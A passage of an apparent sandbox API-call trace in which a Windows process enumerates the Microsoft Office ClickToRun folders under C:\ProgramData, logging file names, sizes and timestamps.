	[0063.055] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0063.055] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.056] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.057] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0
	[0063.057] FindClose (in: hFindFile=0xbaa848 | out: hFindFile=0xbaa848) returned 1
	[0063.057] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.057] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0063.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.057] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.057] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1
	[0063.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa588
	[0063.059] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.059] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.059] FindClose (in: hFindFile=0xbaa588 | out: hFindFile=0xbaa588) returned 1
	[0063.059] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.059] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0
	[0063.059] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.059] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.059] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0
	[0063.059] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.059] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.061] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0063.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa408
	[0063.071] FindNextFileW (in: hFindFile=0xbaa408, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.091] FindNextFileW (in: hFindFile=0xbaa408, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1
	[0063.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa808
	[0063.107] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.107] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0063.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.131] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.131] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0063.132] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1
	[0063.132] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0063.132] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0063.132] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.132] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.132] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.133] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.133] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0063.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa308
	[0063.153] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0063.154] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0063.154] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.154] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.156] FindClose (in: hFindFile=0xbaa308 | out: hFindFile=0xbaa308) returned 1
	[0063.157] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.158] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0063.158] FindClose (in: hFindFile=0xbaa808 | out: hFindFile=0xbaa808) returned 1
	[0063.158] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.158] FindNextFileW (in: hFindFile=0xbaa408, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1
	[0063.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa3c8
	[0063.170] FindNextFileW (in: hFindFile=0xbaa3c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.170] FindNextFileW (in: hFindFile=0xbaa3c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0063.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa6c8
